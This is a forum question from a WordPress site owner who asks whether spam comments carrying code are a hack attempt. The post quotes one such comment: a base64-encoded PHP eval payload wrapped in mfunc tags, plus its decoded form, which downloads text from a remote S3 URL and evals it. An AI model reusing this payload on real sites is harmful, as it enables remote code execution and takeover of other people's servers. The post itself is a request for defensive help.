title: Eval Base64 virus Wordpress
body: <p>I'm using a wordpress blog today i got a comment like this . </p>
  
  <pre><code>&lt;!-- unsafe comment zapped --&gt; eval(base64_decode("JGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygiaHR0cHM6Ly9zMy5hbWF6b25hd3MuY29tL3dvcmRwcmVzcy1jb3JlL3VwZGF0ZS1mcmFtZXdvcmsudHh0Iik7ZXZhbCgkZGF0YSk7")); --&amp;gt;&lt;!--/mfunc--&gt;
  </code></pre>
  
  <p>When i've decoded this comment using decoder i got </p>
  
  <pre><code>$data = file_get_contents("https://s3.amazonaws.com/wordpress-core/update-framework.txt");eval($data);
  </code></pre>
  
  <p>I'm getting many comments like this . Can anyone help me to resolve this problem .? Is it a Hack or does it shows the beginning of hacking ? </p>